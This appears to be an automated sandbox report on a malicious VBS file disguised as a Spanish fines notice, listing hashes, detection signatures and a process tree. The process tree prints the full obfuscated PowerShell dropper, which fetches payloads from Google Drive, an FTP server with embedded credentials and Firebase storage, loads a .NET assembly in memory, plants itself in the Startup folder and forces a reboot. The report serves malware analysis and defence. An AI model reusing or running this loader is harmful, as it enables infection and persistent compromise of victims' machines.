838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4

General

Target

Oficio notificacion multas y sanciones.vbs
Size

562KB
MD5

5d0e059a9d852fbaa853170862b948f7
SHA1

89c0faf4ba6531b3e9c5550f53280e02492c770d
SHA256

838e276f65a1dcdf9fd0292c3c7cd8b6c3f6c2ed940adcc663d68dd84a40e2c4
SHA512

9ed84239c4277d19e8ea127282cd06d941293278f90bc25a98ddda2281dce8ce17295617e55216af925db77c78457c4ea10a8f9d24e9ecdfc94aa710f40df7a4
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFB:4HY

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Oficio notificacion multas y sanciones.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Oficio notificacion multas y sanciones.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2224	powershell.exe
2764	powershell.exe
2880	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2764	powershell.exe
2880	powershell.exe
2556	powershell.exe
2224	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2432 wrote to memory of 2764	2432	WScript.exe	31
PID 2432 wrote to memory of 2764	2432	WScript.exe	31
PID 2432 wrote to memory of 2764	2432	WScript.exe	31
PID 2764 wrote to memory of 2880	2764	powershell.exe	33
PID 2764 wrote to memory of 2880	2764	powershell.exe	33
PID 2764 wrote to memory of 2880	2764	powershell.exe	33
PID 2880 wrote to memory of 2556	2880	powershell.exe	34
PID 2880 wrote to memory of 2556	2880	powershell.exe	34
PID 2880 wrote to memory of 2556	2880	powershell.exe	34
PID 2556 wrote to memory of 3056	2556	powershell.exe	35
PID 2556 wrote to memory of 3056	2556	powershell.exe	35
PID 2556 wrote to memory of 3056	2556	powershell.exe	35
PID 2880 wrote to memory of 2224	2880	powershell.exe	36
PID 2880 wrote to memory of 2224	2880	powershell.exe	36
PID 2880 wrote to memory of 2224	2880	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Oficio notificacion multas y sanciones.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9уかбDsуかбKQуかбgуかбCkуかбIуかбуかбnуかбGUуかбdQByуかбHQуかбJwуかбgуかбCwуかбIуかбBYуかбFуかбуかбVQB1уかбGgуかбJуかбуかбgуかбCwуかбIуかбуかбnуかбGgуかбdуかбB0уかбHуかбуかбcwуかб6уかбC8уかбLwBmуかбGkуかбcgBlуかбGIуかбYQBzуかбGUуかбcwB0уかбG8уかбcgBhуかбGcуかбZQуかбuуかбGcуかбbwBvуかбGcуかбbуかбBlуかбGEуかбcуかбBpуかбHMуかбLgBjуかбG8уかбbQуかбvуかбHYуかбMуかбуかбvуかбGIуかбLwBkуかбGUуかбcwBjуかбGEуかбcgBnуかбGEуかбcwуかбtуかбGQуかбYwуかб0уかбGQуかбNgуかбuуかбGEуかбcуかбBwуかбHMуかбcуかбBvуかбHQуかбLgBjуかбG8уかбbQуかбvуかбG8уかбLwBlуかбG4уかбdgBpуかбG8уかбcwуかбtуかбG4уかбdQBlуかбHYуかбbwBzуかбC4уかбdуかбB4уかбHQуかбPwBhуかбGwуかбdуかбуかб9уかбG0уかбZQBkуかбGkуかбYQуかбmуかбHQуかбbwBrуかбGUуかбbgуかб9уかбGMуかбZQуかб2уかбDkуかбMуかбBhуかбDYуかбMуかбуかбtуかбDcуかбOуかбBlуかбGIуかбLQуかб0уかбDуかбуかбMQBiуかбC0уかбYgBmуかбGMуかбNgуかбtуかбDEуかбZуかбBjуかбDgуかбMgуかб1уかбGUуかбMQуかб5уかбDQуかбYgуかбyуかбCcуかбIуかбуかбoуかбCуかбуかбXQBdуかбFsуかбdуかбBjуかбGUуかбagBiуかбG8уかбWwуかбgуかбCwуかбIуかбBsуかбGwуかбdQBuуかбCQуかбIуかбуかбoуかбGUуかбawBvуかбHYуかбbgBJуかбC4уかбKQуかбgуかбCcуかбSQBWуかбEYуかбcgBwуかбCcуかбIуかбуかбoуかбGQуかбbwBoуかбHQуかбZQBNуかбHQуかбZQBHуかбC4уかбKQуかбnуかбDEуかбcwBzуかбGEуかбbуかбBDуかбC4уかбMwB5уかбHIуかбYQByуかбGIуかбaQBMуかбHMуかбcwBhуかбGwуかбQwуかбnуかбCgуかбZQBwуかбHkуかбVуかбB0уかбGUуかбRwуかбuуかбCkуかбIуかбBaуかбGMуかбQgBjуかбGEуかбJуかбуかбgуかбCgуかбZуかбBhуかбG8уかбTуかбуかбuуかбG4уかбaQBhуかбG0уかбbwBEуかбHQуかбbgBlуかбHIуかбcgB1уかбEMуかбOgуかб6уかбF0уかбbgBpуかбGEуかбbQBvуかбEQуかбcуかбBwуかбEEуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбDsуかбKQуかбgуかбCkуかбIуかбуかбnуかбEEуかбJwуかбgуかбCwуかбIуかбуかбnуかбJMhOgCTIScуかбIуかбуかбoуかбGUуかбYwBhуかбGwуかбcуかбBlуかбFIуかбLgBnуかбFMуかбegBDуかбEIуかбbуかбуかбkуかбCуかбуかбKуかбBnуかбG4уかбaQByуかбHQуかбUwуかб0уかбDYуかбZQBzуかбGEуかбQgBtуかбG8уかбcgBGуかбDoуかбOgBdуかбHQуかбcgBlуかбHYуかбbgBvуかбEMуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбFoуかбYwBCуかбGMуかбYQуかбkуかбCуかбуかбXQBdуかбFsуかбZQB0уかбHkуかбQgBbуかбDsуかбJwуかбlуかбEkуかбaуかбBxуかбFIуかбWуかбуかбlуかбCcуかбIуかбуかб9уかбCуかбуかбWуかбBQуかбFUуかбdQBoуかбCQуかбOwуかбpуかбCуかбуかбZwBTуかбHoуかбQwBCуかбGwуかбJуかбуかбgуかбCgуかбZwBuуかбGkуかбcgB0уかбFMуかбZуかбBhуかбG8уかбbуかбBuуかбHcуかбbwBEуかбC4уかбegB0уかбHgуかбaуかбуかбkуかбCуかбуかбPQуかбgуかбGcуかбUwB6уかбEMуかбQgBsуかбCQуかбOwуかб4уかбEYуかбVуかбBVуかбDoуかбOgBdуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHQуかбeуかбBlуかбFQуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбdуかбBuуかбGUуかбaQBsуかбEMуかбYgBlуかбFcуかбLgB0уかбGUуかбTgуかбgуかбHQуかбYwBlуかбGoуかбYgBPуかбC0уかбdwBlуかбE4уかбKуかбуかбgуかбD0уかбIуかбB6уかбHQуかбeуかбBoуかбCQуかбOwуかбpуかбCgуかбZQBzуかбG8уかбcуかбBzуかбGkуかбZуかбуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбIуかбуかбnуかбHQуかбeуかбB0уかбC4уかбMQуかбwуかбEwуかбTуかбBEуかбC8уかбMQуかбwуかбC8уかбcgBlуかбHQуかбcуかбB5уかбHIуかбYwBwуかбFUуかбLwByуかбGIуかбLgBtуかбG8уかбYwуかбuуかбHQуかбYQByуかбGIуかбdgBrуかбGMуかбcwBlуかбGQуかбLgBwуかбHQуかбZgBуかбуかбDEуかбdуかбBhуかбHIуかбYgB2уかбGsуかбYwBzуかбGUуかбZуかбуかбvуかбC8уかбOgBwуかбHQуかбZgуかбnуかбCуかбуかбKуかбBnуかбG4уかбaQByуかбHQуかбUwBkуかбGEуかбbwBsуかбG4уかбdwBvуかбEQуかбLgB6уかбHQуかбeуかбBoуかбCQуかбIуかбуかб9уかбCуかбуかбZwBTуかбHoуかбQwBCуかбGwуかбJуかбуかб7уかбCkуかбJwBуかбуかбEуかбуかбcуかбBKуかбDgуかбNwуかб1уかбDEуかбMgBvуかбHIуかбcуかбByуかбGUуかбcуかбBvуかбGwуかбZQB2уかбGUуかбZуかбуかбnуかбCwуかбKQуかбpуかбDkуかбNуかбуかбsуかбDYуかбMQуかбxуかбCwуかбNwуかб5уかбCwуかбNуかбуかбxуかбDEуかбLуかбуかб4уかбDkуかбLуかбуかб4уかбDEуかбMQуかбsуかбDcуかбMуかбуかбxуかбCwуかбOQуかб5уかбCwуかбNQуかбxуかбDEуかбLуかбуかбxуかбDуかбуかбMQуかбsуかбDуかбуかбMуかбуかбxуかбCgуかбXQBdуかбFsуかбcgBhуかбGgуかбYwBbуかбCуかбуかбbgBpуかбG8уかбagуかбtуかбCgуかбKуかбBsуかбGEуかбaQB0уかбG4уかбZQBkуかбGUуかбcgBDуかбGsуかбcgBvуかбHcуかбdуかбBlуかбE4уかбLgB0уかбGUуかбTgуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбCуかбуかбdуかбBjуかбGUуかбagBiуかбG8уかбLQB3уかбGUуかбbgуかбgуかбD0уかбIуかбBzуかбGwуかбYQBpуかбHQуかбbgBlуかбGQуかбZQByуかбEMуかбLgB6уかбHQуかбeуかбBoуかбCQуかбOwуかб4уかбEYуかбVуかбBVуかбDoуかбOgBdуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHQуかбeуかбBlуかбFQуかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбCуかбуかбPQуかбgуかбGcуかбbgBpуかбGQуかбbwBjуかбG4уかбRQуかбuуかбHoуかбdуかбB4уかбGgуかбJуかбуかб7уかбCkуかбdуかбBuуかбGUуかбaQBsуかбEMуかбYgBlуかбFcуかбLgB0уかбGUуかбTgуかбgуかбHQуかбYwBlуかбGoуかбYgBPуかбC0уかбdwBlуかбE4уかбKуかбуかбgуかбD0уかбIуかбB6уかбHQуかбeуかбBoуかбCQуかбOwBnуかбFMуかбegBDуかбEIуかбbуかбуかбkуかбDsуかбMgуかбxуかбHMуかбbуかбBUуかбDoуかбOgBdуかбGUуかбcуかбB5уかбFQуかбbуかбBvуかбGMуかбbwB0уかбG8уかбcgBQуかбHkуかбdуかбBpуかбHIуかбdQBjуかбGUуかбUwуかбuуかбHQуかбZQBOуかбC4уかбbQBlуかбHQуかбcwB5уかбFMуかбWwуかбgуかбD0уかбIуかбBsуかбG8уかбYwBvуかбHQуかбbwByуかбFуかбуかбeQB0уかбGkуかбcgB1уかбGMуかбZQBTуかбDoуかбOgBdуかбHIуかбZQBnуかбGEуかбbgBhуかбE0уかбdуかбBuуかбGkуかбbwBQуかбGUуかбYwBpуかбHYуかбcgBlуかбFMуかбLgB0уかбGUуかбTgуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбFsуかбOwB9уかбGUуかбdQByуかбHQуかбJуかбB7уかбCуかбуかбPQуかбgуかбGsуかбYwBhуかбGIуかбbуかбBsуかбGEуかбQwBuуかбG8уかбaQB0уかбGEуかбZуかбBpуかбGwуかбYQBWуかбGUуかбdуかбBhуかбGMуかбaQBmуかбGkуかбdуかбByуかбGUуかбQwByуかбGUуかбdgByуかбGUуかбUwуかб6уかбDoуかбXQByуかбGUуかбZwBhуかбG4уかбYQBNуかбHQуかбbgBpуかбG8уかбUуかбBlуかбGMуかбaQB2уかбHIуかбZQBTуかбC4уかбdуかбBlуかбE4уかбLgBtуかбGUуかбdуかбBzуかбHkуかбUwBbуかбHsуかбIуかбBlуかбHMуかбbуかбBlуかбH0уかбIуかбBmуかбC8уかбIуかбуかбwуかбCуかбуかбdуかбуかбvуかбCуかбуかбcgуかбvуかбCуかбуかбZQB4уかбGUуかбLgBuуかбHcуかбbwBkуかбHQуかбdQBoуかбHMуかбIуかбуかб7уかбCcуかбMуかбуかб4уかбDEуかбIуかбBwуかбGUуかбZQBsуかбHMуかбJwуかбgуかбGQуかбbgBhуかбG0уかбbQBvуかбGMуかбLQуかбgуかбGUуかбeуかбBlуかбC4уかбbуかбBsуかбGUуかбaуかбBzуかбHIуかбZQB3уかбG8уかбcуかбуかб7уかбCуかбуかбZQBjуかбHIуかбbwBmуかбC0уかбIуかбуかбpуかбCуかбуかбJwBwуかбHUуかбdуかбByуかбGEуかбdуかбBTуかбFwуかбcwBtуかбGEуかбcgBnуかбG8уかбcgBQуかбFwуかбdQBuуかбGUуかбTQуかбgуかбHQуかбcgBhуかбHQуかбUwBcуかбHMуかбdwBvуかбGQуかбbgBpуかбFcуかбXуかбB0уかбGYуかбbwBzуかбG8уかбcgBjуかбGkуかбTQBcуかбGcуかбbgBpуかбG0уかбYQBvуかбFIуかбXуかбBhуかбHQуかбYQBEуかбHуかбуかбcуかбBBуかбFwуかбJwуかбgуかбCsуかбIуかбBaуかбEsуかбbgBZуかбE0уかбJуかбуかбgуかбCgуかбIуかбBuуかбG8уかбaQB0уかбGEуかбbgBpуかбHQуかбcwBlуかбEQуかбLQуかбgуかбCcуかбJQBJуかбGgуかбcQBSуかбFgуかбJQуかбnуかбCуかбуかбbQBlуかбHQуかбSQуかбtуかбHkуかбcуかбBvуかбEMуかбIуかбуかб7уかбCуかбуかбdуかбByуかбGEуかбdуかбBzуかбGUуかбcgBvуかбG4уかбLwуかбgуかбHQуかбZQBpуかбHUуかбcQуかбvуかбCуかбуかбRwBjуかбFcуかбaQBSуかбCуかбуかбZQB4уかбGUуかбLgBhуかбHMуかбdQB3уかбCуかбуかбZQB4уかбGUуかбLgBsуかбGwуかбZQBoуかбHMуかбcgBlуかбHcуかбbwBwуかбCуかбуかбOwуかбpуかбCcуかбdQBzуかбG0уかбLgBuуかбGkуかбdwBwуかбFUуかбXуかбуかбnуかбCуかбуかбKwуかбgуかбE4уかбSgBUуかбHgуかбRуかбуかбkуかбCgуかбIуかбуかб9уかбCуかбуかбRwBjуかбFcуかбaQBSуかбDsуかбKQуかбgуかбGUуかбbQBhуかбE4уかбcgBlуかбHMуかбVQуかб6уかбDoуかбXQB0уかбG4уかбZQBtуかбG4уかбbwByуかбGkуかбdgBuуかбEUуかбWwуかбgуかбCsуかбIуかбуかбnуかбFwуかбcwByуかбGUуかбcwBVуかбFwуかбOgBDуかбCcуかбKуかбуかбgуかбD0уかбIуかбBaуかбEsуかбbgBZуかбE0уかбJуかбуかб7уかбCkуかбJwB1уかбHMуかбbQуかбuуかбG4уかбaQB3уかбHуかбуかбVQBcуかбCcуかбIуかбуかбrуかбCуかбуかбTgBKуかбFQуかбeуかбBEуかбCQуかбIуかбуかбsуかбEIуかбSwBMуかбFIуかбVQуかбkуかбCgуかбZQBsуかбGkуかбRgBkуかбGEуかбbwBsуかбG4уかбdwBvуかбEQуかбLgBuуかбEoуかбeQBWуかбGoуかбJуかбуかб7уかбDgуかбRgBUуかбFUуかбOgуかб6уかбF0уかбZwBuуかбGkуかбZуかбBvуかбGMуかбbgBFуかбC4уかбdуかбB4уかбGUуかбVуかбуかбuуかбG0уかбZQB0уかбHMуかбeQBTуかбFsуかбIуかбуかб9уかбCуかбуかбZwBuуかбGkуかбZуかбBvуかбGMуかбbgBFуかбC4уかбbgBKуかбHkуかбVgBqуかбCQуかбOwуかбpуかбHQуかбbgBlуかбGkуかбbуかбBDуかбGIуかбZQBXуかбC4уかбdуかбBlуかбE4уかбIуかбB0уかбGMуかбZQBqуかбGIуかбTwуかбtуかбHcуかбZQBOуかбCgуかбIуかбуかб9уかбCуかбуかбbgBKуかбHkуかбVgBqуかбCQуかбOwB9уかбDsуかбIуかбуかбpуかбCcуかбdуかбBPуかбEwуかбYwBfуかбEsуかбYQуかбzуかбFoуかбZgBvуかбFgуかбMgBKуかбEoуかбcgBWуかбGgуかбbQBWуかбDkуかбYwBtуかбDkуかбWуかбBzуかбHUуかбWуかбBtуかбGoуかбMQBnуかбDEуかбJwуかбgуかбCsуかбIуかбBvуかбHgуかбSwBVуかбGcуかбJуかбуかбoуかбCуかбуかбPQуかбgуかбG8уかбeуかбBLуかбFUуかбZwуかбkуかбHsуかбIуかбBlуかбHMуかбbуかбBlуかбH0уかбOwуかбgуかбCkуかбJwуかбyуかбDQуかбdQBYуかбEoуかбVуかбBxуかбGEуかбbQBnуかбHkуかбTQB0уかбEYуかбegBhуかбGsуかбUуかбBSуかбDEуかбcQBfуかбEkуかбdgBHуかбGkуかбWуかбBOуかбGQуかбcQBhуかбE4уかбMQуかбnуかбCуかбуかбKwуかбgуかбG8уかбeуかбBLуかбFUуかбZwуかбkуかбCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVуかбGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABQAGIAbgBFAFoAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABQAGIAbgBFAFoAJAAgADsA';$kahlN = $qKKzc.replace('уかб' , 'A') ;$vQpeD = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $vQpeD = $vQpeD[-1..-$vQpeD.Length] -join '';$vQpeD = $vQpeD.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Oficio notificacion multas y sanciones.vbs');powershell $vQpeD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $ZEnbP = $host.Version.Major.Equals(2) ;if ( $ZEnbP ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$jVyJn = (New-Object Net.WebClient);$jVyJn.Encoding = [System.Text.Encoding]::UTF8;$jVyJn.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Oficio notificacion multas y sanciones.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$hxtz.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $hxtz.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$hxtz.dispose();$hxtz = (New-Object Net.WebClient);$hxtz.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $hxtz.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\Oficio notificacion multas y sanciones.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '2b491e528cd1-6cfb-b104-be87-06a096ec=nekot&aidem=tla?txt.soveun-soivne/o/moc.topsppa.6d4cd-sagracsed/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2556
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:3056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2cd70f6ca411774a0c82b7a252f90d7d

SHA1
89c5bcd61b090c565b14bafeff866d3d4fcb97d5

SHA256
aeed4149c252aec5ac246c5d15af81db8ea5edd000afb6e32560eab44948b744

SHA512
b55a908f4f6b7da85ee9cba8c6a15df69176f02375637d19e2c1cd32382382d60dbc137f082ea92fc0a5c08a552618ed4dc7bc6d3e85bf37d336c5336abefb6d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PBE83K9TI12C1CJLAAZ3.temp

Filesize
7KB

MD5
69ee91a6eebe10b40e11da5e0dd70ed2

SHA1
5572427428c61eb27f9190060b72a8ded2442e40

SHA256
b5950e2da55b89a3970d259266761fa85eeb5d15f2853c5300fb8d4c8520e83e

SHA512
a6bc794736f5456a9892b724c754dd5393de1560fab90c006ba08325c8858532d04c106e48c87b75f9a033af2b1ac0a7aca285164cdd0f6061bdb923790bedf7

Download Submit
memory/2764-4-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2764-5-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2764-7-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-6-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2764-8-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-9-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-11-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-10-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-29-0x000007FEF577E000-0x000007FEF577F000-memory.dmp

Filesize
4KB

Download
memory/2764-30-0x000007FEF54C0000-0x000007FEF5E5D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing